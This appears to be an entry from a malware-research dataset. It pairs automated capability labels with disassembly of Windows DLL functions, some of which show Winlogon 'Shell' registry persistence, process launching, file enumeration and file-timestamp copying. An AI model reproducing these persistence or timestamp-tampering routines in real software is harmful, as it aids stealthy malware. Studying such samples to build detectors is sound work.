joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000b380
Capabilities:
Read file via mapping

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x40
mov rsi, qword [0x180044080]
mov rbp, rcx
cmp qword [rsi], 0xffffffffffffffff
je 0x18000b3b0
xor al, al
jmp 0x18000b57e
cmp qword [rcx + 8], 0xffffffffffffffff
mov rax, qword [rcx]
mov qword [rsi], rax
je 0x18000b42a
cmp qword [rcx + 8], 0
je 0x18000b42a
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rbp + 8]
mov dword [rsp + 0x30], 2
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r9, [rsi + 8]
mov rcx, rax
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x18000b410
lea rdx, str.DuplicateHandle_n
mov ecx, 0x3e
call fcn.180030818
jmp 0x18000b42a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.__DuplicateHandle__d_n
mov ecx, 0x42
mov r8d, eax
call fcn.180030818
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsi + 0x28], rax
test rax, rax
je 0x18000b3a9
mov rcx, qword [rsi]
mov edx, 8
lea r8d, [rdx + 0x20]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsi + 0x10], rax
test rax, rax
jne 0x18000b471
mov rcx, qword [rsi + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000b3a9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rcx, qword [rsi + 8]
test rcx, rcx
je 0x18000b4d7
cmp rcx, 0xffffffffffffffff
je 0x18000b4d7
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rbx, rax
test rax, rax
je 0x18000b462
mov edx, dword [rax]
lea rcx, [rax + 4]
call fcn.1800284d0
test al, al
jne 0x18000b4ce
mov rcx, qword [rsi + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
jmp 0x18000b3a9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, qword [rsi]
lea rdx, str._0024explorer.exe
call fcn.180031c3c
and qword [rsp + 0x30], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, rax
mov dword [rsp + 0x28], 0x80
mov rdi, rax
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
test rdi, rdi
je 0x18000b52b
mov rcx, qword [rsi]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x18000b53c
lea rdx, str._HeapFree__NULL_n
mov ecx, 0x6a
call fcn.180030818
cmp rbx, 0xffffffffffffffff
je 0x18000b576
lea r9, [rsi + 0x40]
lea r8, [rsi + 0x38]
lea rdx, [rsi + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
jne 0x18000b56d
and dword [rsi + 0x34], eax
and dword [rsi + 0x30], eax
and dword [rsi + 0x3c], eax
and dword [rsi + 0x38], eax
and dword [rsi + 0x44], eax
and dword [rsi + 0x40], eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call fcn.18000b73c
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r12
ret
Function at 0x18000b59c
Capabilities:
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rsi, qword [0x180044080]
mov rbp, rcx
mov ecx, 1
mov eax, ecx
lock cmpxchg dword [rsi + 0x20], ecx
test eax, eax
jne 0x18000b5e0
lock cmpxchg dword [rsi + 0x20], ecx
jne 0x18000b5e0
mov rcx, qword [rsi + 0x28]
mov edx, 0x36ee80
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rbx, [0x180038b00]
mov edx, dword [rbx]
mov rcx, rsi
call fcn.18000c3ec
lea rax, [0x180038b18]
add rbx, 4
cmp rbx, rax
jl 0x18000b5e7
mov rax, qword [rbp]
cmp rax, 0xffffffffffffffff
je 0x18000b613
test rax, rax
je 0x18000b613
mov qword [rsi], rax
cmp qword [rbp + 8], 0xffffffffffffffff
je 0x18000b696
cmp qword [rbp + 8], 0
je 0x18000b696
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
or qword [rsi + 8], 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rbp + 8]
mov dword [rsp + 0x30], 2
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r9, [rsi + 8]
mov rcx, rax
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x18000b67c
lea rdx, str.DuplicateHandle_n
mov ecx, 0x98
call fcn.180030818
jmp 0x18000b696
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.__DuplicateHandle__d_n
mov ecx, 0x9c
mov r8d, eax
call fcn.180030818
mov rcx, qword [rsi + 8]
and qword [rsp + 0x20], 0
xor r9d, r9d
lea edx, [r9 + 4]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rbx, rax
test rax, rax
jne 0x18000b6e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.___d_n
mov ecx, 0xa6
mov r8d, eax
call fcn.180030818
mov rcx, qword [rsi + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x18000b726
mov edx, dword [rax]
lea rcx, [rax + 4]
call fcn.1800284d0
test al, al
jne 0x18000b704
mov rcx, qword [rsi + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
jmp 0x18000b6dc
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
lea rdx, [0x18003a0b0]
mov ecx, 0xb2
call fcn.180030818
mov rcx, rsi
call fcn.18000b73c
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x18000bc78
Capabilities:
Create thread
Resume thread

Disassembly:
push rbx
sub rsp, 0x30
mov r9, qword [0x180044080]
xor ebx, ebx
lea eax, [rbx + 1]
lock cmpxchg dword [r9 + 0x20], ebx
test eax, eax
jne 0x18000bc98
xor al, al
jmp 0x18000bcc2
lea r8, [0x18000bd04]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.msvcrt.dll__beginthreadex]
test rax, rax
je 0x18000bc94
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov al, 1
add rsp, 0x30
pop rbx
ret
Function at 0x18000c0bc
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x50
mov r12, r8
lea r8, [rax - 0x28]
xor ebx, ebx
mov esi, edx
mov rdi, rcx
mov qword [rax - 0x28], rbx
call fcn.18000bc00
test al, al
je 0x18000c1c4
mov edx, esi
mov rcx, rdi
call fcn.18000c3ec
mov r13, qword [rsp + 0x40]
mov qword [rsp + 0x30], rbx
mov rcx, qword [r13 + 8]
lea esi, [rbx + 4]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x18000c1c4
mov rcx, qword [rdi + 8]
xor r9d, r9d
xor r8d, r8d
mov edx, esi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rsi, rax
test rax, rax
je 0x18000c1bb
mov r8d, dword [rax]
lea rdx, [rax + 4]
lea r9, [rsp + 0x88]
mov rcx, rbp
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000c1b2
cmp dword [rdi + 0x34], ebx
je 0x18000c19f
lea rdx, [rdi + 0x30]
cmp dword [rdx], ebx
je 0x18000c19f
cmp dword [rdi + 0x44], ebx
je 0x18000c19f
lea r9, [rdi + 0x40]
cmp dword [r9], ebx
je 0x18000c19f
xor r8d, r8d
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rax, qword [r12]
mov rdx, qword [r13 + 8]
mov rcx, r12
call qword [rax + 0x10]
test al, al
setne bl
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x50]
mov al, bl
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop r12
pop rdi
ret
Function at 0x18000cad4
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0xe0
mov rbp, qword [0x180044080]
xor r12d, r12d
lea rsi, [0x180038b00]
lea r13d, [r12 + 1]
mov bl, r12b
mov edx, dword [rsi]
lea r8, [rsp + 0x100]
mov rcx, rbp
call fcn.18000bc00
test al, al
je 0x18000cbbd
xor edx, edx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x68]
call qword [sym.imp.msvcrt.dll_memset]
xor edx, edx
lea rcx, [rsp + 0x50]
lea r8d, [rdx + 0x18]
call qword [sym.imp.msvcrt.dll_memset]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov rdi, qword [rsp + 0x100]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov dword [rsp + 0xac], 0x101
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov word [rsp + 0xb0], r12w
mov rdx, qword [rdi + 8]
mov qword [rsp + 0x30], r12
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x18000cbc2
lea rdx, str.Error_CreateProcessW_n
mov ecx, 0x3a3
call fcn.180030818
mov dil, r12b
jmp 0x18000cbda
mov r8, qword [rdi + 8]
lea rdx, str.Start__s_n
mov ecx, 0x3a7
call fcn.180030818
mov dil, r13b
lea rdx, [0x18003a408]
movzx r8d, dil
mov ecx, 0x3ac
call fcn.180030818
test dil, dil
movzx ebx, bl
cmovne ebx, r13d
lea rax, [0x180038b18]
add rsi, 4
cmp rsi, rax
jl 0x18000cb08
test bl, bl
jne 0x18000cc44
lea rdx, str.__FullStart_n
mov ecx, 0x3c5
call fcn.180030818
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp]
call fcn.18000cc64
test al, al
jne 0x18000cc44
lea rdx, [0x18003a7cc]
mov ecx, 0x3c8
call fcn.180030818
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rdi
ret
Function at 0x18000cf48
Capabilities:
Check os version

Disassembly:
push rbx
sub rsp, 0x150
cmp qword [rcx + 0x30], 0
mov rbx, rcx
mov qword [rcx + 8], rdx
jne 0x18000cff0
lea rcx, [0x18003a808]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbx + 0x30], rax
test rax, rax
je 0x18000d06f
lea rdx, str.CoCreateInstance
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x40], rax
test rax, rax
je 0x18000d06f
mov rcx, qword [rbx + 0x30]
lea rdx, str.CoInitialize
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x48], rax
test rax, rax
je 0x18000d06f
mov rcx, qword [rbx + 0x30]
lea rdx, str.CoTaskMemFree
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x50], rax
test rax, rax
je 0x18000d06f
mov rcx, qword [rbx + 0x30]
lea rdx, str.CoUninitialize
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x58], rax
test rax, rax
je 0x18000d06f
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x11c
call qword [sym.imp.msvcrt.dll_memset]
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x18000d031
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x114
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x18000d06f
cmp dword [rsp + 0x40], 2
jne 0x18000d06f
cmp dword [rsp + 0x34], 6
je 0x18000d06f
xor ecx, ecx
call qword [rbx + 0x48]
test eax, eax
js 0x18000d06f
xor edx, edx
lea rax, [rbx + 0x10]
lea r9, [0x1800398a8]
lea r8d, [rdx + 1]
lea rcx, [0x1800398c8]
mov qword [rsp + 0x20], rax
call qword [rbx + 0x40]
test eax, eax
setns al
jmp 0x18000d071
xor al, al
add rsp, 0x150
pop rbx
ret
Function at 0x18000dbc8
Capabilities:
Enumerate files on windows

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call fcn.18000da88
test al, al
jne 0x18000dbe0
add rsp, 0x20
pop rbx
ret
lea rdx, [0x18000de74]
xor r8d, r8d
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.18000dc58

Function at 0x18000dbf8
Capabilities:
Enumerate files on windows

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call fcn.18000da88
test al, al
jne 0x18000dc10
add rsp, 0x20
pop rbx
ret
lea rdx, [fcn.18000e1e4]
mov r8b, 1
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.18000dc58

Function at 0x18000dc28
Capabilities:
Enumerate files on windows

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call fcn.18000da88
test al, al
jne 0x18000dc40
add rsp, 0x20
pop rbx
ret
lea rdx, [0x18000e500]
xor r8d, r8d
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.18000dc58
Function at 0x18000dc58
Capabilities:
Enumerate files on windows

Disassembly:
mov byte [rsp + 0x18], r8b
mov qword [rsp + 0x10], rdx
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x288
xor edi, edi
test r8b, r8b
mov rsi, rcx
mov rcx, qword [rcx + 8]
lea edx, [rdi + 8]
mov r8d, 0x800
setne bpl
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r13, rax
test rax, rax
je 0x18000de60
mov rcx, qword [rsi + 8]
mov edx, 8
mov r8d, 0x800
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12, rax
test rax, rax
je 0x18000de4e
mov dword [rsp + 0x2d0], edi
cmp dword [rsi + 0x20], edi
jbe 0x18000de3c
mov r14, rdi
mov qword [rsp + 0x2e8], rdi
mov ebx, 1
mov rcx, qword [rsi + 0x28]
lea rdx, [rsp + 0x30]
mov rcx, qword [r14 + rcx]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rsp + 0x20], rax
cmp rax, 0xffffffffffffffff
je 0x18000de3c
xor edx, edx
mov r8d, 0x800
mov rcx, r13
call qword [sym.imp.msvcrt.dll_memset]
mov rdx, qword [rsi + 0x28]
mov rcx, r13
mov rdx, qword [r14 + rdx]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, 0x5c
mov rcx, r13
call qword [sym.imp.msvcrt.dll_wcsrchr]
test rax, rax
je 0x18000dd3c
mov word [rax + 2], di
mov r15, qword [rsp + 0x20]
mov r14b, byte [rsp + 0x2e0]
test byte [rsp + 0x30], 0x10
jne 0x18000ddf5
xor edx, edx
mov r8d, 0x800
mov rcx, r12
call qword [sym.imp.msvcrt.dll_memset]
mov rdx, r13
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rsp + 0x5c]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov r8d, 0x400
mov rdx, r12
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [0x18003a900]
movsxd rbx, eax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdx, [0x18003a900]
movsxd rcx, eax
sub rbx, rcx
lea rcx, [r12 + rbx*2]
call qword [sym.imp.msvcrt.dll__wcsicmp]
test eax, eax
jne 0x18000ddf0
mov rdx, r12
mov rcx, rsi
call qword [rsp + 0x2d8]
mov ebx, 1
test r14b, r14b
je 0x18000dde5
test al, al
jne 0x18000ddf5
mov bpl, dil
jmp 0x18000ddf5
movzx ebp, bpl
test al, al
cmovne ebp, ebx
jmp 0x18000ddf5
mov ebx, 1
lea rdx, [rsp + 0x30]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x18000dd49
mov r15d, dword [rsp + 0x2d0]
mov r14, qword [rsp + 0x2e8]
add r15d, ebx
add r14, 8
mov dword [rsp + 0x2d0], r15d
mov qword [rsp + 0x2e8], r14
cmp r15d, dword [rsi + 0x20]
jb 0x18000dce1
mov rcx, qword [rsi + 8]
mov r8, r12
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov dil, bpl
mov rcx, qword [rsi + 8]
mov r8, r13
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov al, dil
add rsp, 0x288
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x180010184
Capabilities:
Persist via winlogon helper dll registry key
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rcx + 0x10], rdx
jmp fcn.1800104b4
Function at 0x180010190
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rcx + 0x10], rdx
jmp 0x18001089c
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
xor r14d, r14d
mov rdi, rcx
lea rdx, [rbp - 0x10]
lea ecx, [r14 + 1]
mov r13b, r14b
mov qword [rbp - 0x10], r14
mov qword [rbp + 0x58], r14
mov dword [rbp + 0x48], r14d
mov dword [rbp + 0x50], r14d
call qword [sym.imp.ADVAPI32.dll_RegOpenCurrentUser]
test eax, eax
jne 0x180010a6f
mov rcx, qword [rbp - 0x10]
lea rax, [rbp + 0x58]
lea r9d, [r14 + 1]
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionWinlogon
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x180010a6f
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x58]
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x50], r14
lea rax, [rbp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x180010a6f
mov r8d, dword [rbp + 0x48]
mov rcx, qword [rdi + 8]
lea edx, [rax + 8]
add r8, r8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12, rax
test rax, rax
je 0x180010a6f
mov ecx, dword [rbp + 0x48]
lea rax, [rbp + 0x50]
lea rdx, str.Shell
inc ecx
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov dword [rbp + 0x50], ecx
mov rcx, qword [rbp + 0x58]
xor r8d, r8d
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180010a60
lea r15d, [r14 + 0x2c]
mov rcx, r12
jmp 0x180010a40
cmp word [rbx], r15w
je 0x1800109c8
cmp word [rbx], 0x20
jne 0x1800109d4
cmp word [rbx], r14w
je 0x1800109d4
add rbx, 2
jmp 0x1800109bc
mov r8d, dword [rbp + 0x50]
mov rcx, qword [rdi + 8]
mov edx, 8
add r8, r8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x180010a60
movzx ecx, word [rbx]
mov rax, r14
cmp cx, r15w
je 0x180010a1b
mov rdx, r14
test cx, cx
je 0x180010a1b
inc rax
mov word [rdx + rsi], cx
lea rdx, [rax + rax]
movzx ecx, word [rdx + rbx]
cmp cx, r15w
jne 0x180010a01
mov r8, qword [rdi + 0x10]
mov rdx, rsi
mov rcx, rdi
call fcn.180010ac0
mov rcx, qword [rdi + 8]
xor edx, edx
mov r8, rsi
test al, al
jne 0x180010a57
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbx
mov edx, r15d
call qword [sym.imp.msvcrt.dll_wcschr]
mov rbx, rax
test rax, rax
jne 0x1800109bc
jmp 0x180010a60
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r13b, 1
mov rcx, qword [rdi + 8]
mov r8, r12
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp + 0x58]
test rcx, rcx
je 0x180010a7e
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [0x18003a4ec]
test r13b, r13b
lea r8, [0x18003a540]
lea rdx, str.__s__n
mov ecx, 0x12e
cmovne r8, rax
call fcn.180030818
mov rbx, qword [rsp + 0xb0]
mov al, r13b
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18001089c
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rcx + 0x10], rdx
jmp 0x18001089c
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
xor r14d, r14d
mov rdi, rcx
lea rdx, [rbp - 0x10]
lea ecx, [r14 + 1]
mov r13b, r14b
mov qword [rbp - 0x10], r14
mov qword [rbp + 0x58], r14
mov dword [rbp + 0x48], r14d
mov dword [rbp + 0x50], r14d
call qword [sym.imp.ADVAPI32.dll_RegOpenCurrentUser]
test eax, eax
jne 0x180010a6f
mov rcx, qword [rbp - 0x10]
lea rax, [rbp + 0x58]
lea r9d, [r14 + 1]
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionWinlogon
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x180010a6f
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x58]
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x50], r14
lea rax, [rbp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x180010a6f
mov r8d, dword [rbp + 0x48]
mov rcx, qword [rdi + 8]
lea edx, [rax + 8]
add r8, r8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12, rax
test rax, rax
je 0x180010a6f
mov ecx, dword [rbp + 0x48]
lea rax, [rbp + 0x50]
lea rdx, str.Shell
inc ecx
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov dword [rbp + 0x50], ecx
mov rcx, qword [rbp + 0x58]
xor r8d, r8d
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180010a60
lea r15d, [r14 + 0x2c]
mov rcx, r12
jmp 0x180010a40
cmp word [rbx], r15w
je 0x1800109c8
cmp word [rbx], 0x20
jne 0x1800109d4
cmp word [rbx], r14w
je 0x1800109d4
add rbx, 2
jmp 0x1800109bc
mov r8d, dword [rbp + 0x50]
mov rcx, qword [rdi + 8]
mov edx, 8
add r8, r8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x180010a60
movzx ecx, word [rbx]
mov rax, r14
cmp cx, r15w
je 0x180010a1b
mov rdx, r14
test cx, cx
je 0x180010a1b
inc rax
mov word [rdx + rsi], cx
lea rdx, [rax + rax]
movzx ecx, word [rdx + rbx]
cmp cx, r15w
jne 0x180010a01
mov r8, qword [rdi + 0x10]
mov rdx, rsi
mov rcx, rdi
call fcn.180010ac0
mov rcx, qword [rdi + 8]
xor edx, edx
mov r8, rsi
test al, al
jne 0x180010a57
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbx
mov edx, r15d
call qword [sym.imp.msvcrt.dll_wcschr]
mov rbx, rax
test rax, rax
jne 0x1800109bc
jmp 0x180010a60
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r13b, 1
mov rcx, qword [rdi + 8]
mov r8, r12
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp + 0x58]
test rcx, rcx
je 0x180010a7e
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [0x18003a4ec]
test r13b, r13b
lea r8, [0x18003a540]
lea rdx, str.__s__n
mov ecx, 0x12e
cmovne r8, rax
call fcn.180030818
mov rbx, qword [rsp + 0xb0]
mov al, r13b
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180010f64
Capabilities:
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
mov qword [rcx + 0x20], rdx
mov rcx, rdx
call qword [sym.imp.msvcrt.dll_wcslen]
mov rdx, qword [rsi + 0x20]
lea rcx, [rdx + rax*2 + 2]
mov qword [rsi + 0x28], rcx
call qword [sym.imp.msvcrt.dll_wcslen]
mov rcx, qword [rsi + 0x28]
lea rax, [rcx + rax*2 + 2]
mov rcx, qword [rsi + 8]
xor edi, edi
lea edx, [rdi + 8]
mov r8d, 0x208
mov qword [rsp + 0x30], rdi
mov qword [rsi + 0x30], rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x180011103
mov rcx, qword [rsi + 0x18]
call qword [sym.imp.msvcrt.dll_wcslen]
mov rcx, rbp
lea rbx, [rax + rax + 2]
call qword [sym.imp.msvcrt.dll_wcslen]
mov rdx, qword [rsi + 0x18]
lea rcx, [rbp + rax*2]
mov r8, rbx
call qword [sym.imp.msvcrt.dll_memcpy]
lea rcx, [0x18003adf8]
call qword [sym.imp.msvcrt.dll_wcslen]
mov rcx, rbp
lea rbx, [rax + rax + 2]
call qword [sym.imp.msvcrt.dll_wcslen]
lea rdx, [0x18003adf8]
lea rcx, [rbp + rax*2]
mov r8, rbx
call qword [sym.imp.msvcrt.dll_memcpy]
mov rcx, qword [rsi + 0x28]
call qword [sym.imp.msvcrt.dll_wcslen]
mov rcx, rbp
lea rbx, [rax + rax + 2]
call qword [sym.imp.msvcrt.dll_wcslen]
mov rdx, qword [rsi + 0x28]
lea rcx, [rbp + rax*2]
mov r8, rbx
call qword [sym.imp.msvcrt.dll_memcpy]
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x30]
mov rax, qword [rcx]
call qword [rax + 0x38]
test eax, eax
jns 0x180011078
mov r8, rbp
mov rcx, qword [rsi + 8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x180011103
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x20]
mov rax, qword [rcx]
call qword [rax + 0xa0]
test eax, eax
js 0x180011064
mov rcx, qword [rsi + 0x10]
lea r8, [rsp + 0x30]
lea rdx, [0x1800398d8]
mov rax, qword [rcx]
call qword [rax]
test eax, eax
js 0x180011064
mov rcx, qword [rsp + 0x30]
xor r8d, r8d
mov rdx, rbp
mov rax, qword [rcx]
call qword [rax + 0x30]
mov rcx, qword [rsp + 0x30]
test eax, eax
mov rax, qword [rcx]
jns 0x1800110c8
call qword [rax + 0x10]
jmp 0x180011064
call qword [rax + 0x10]
mov edx, 4
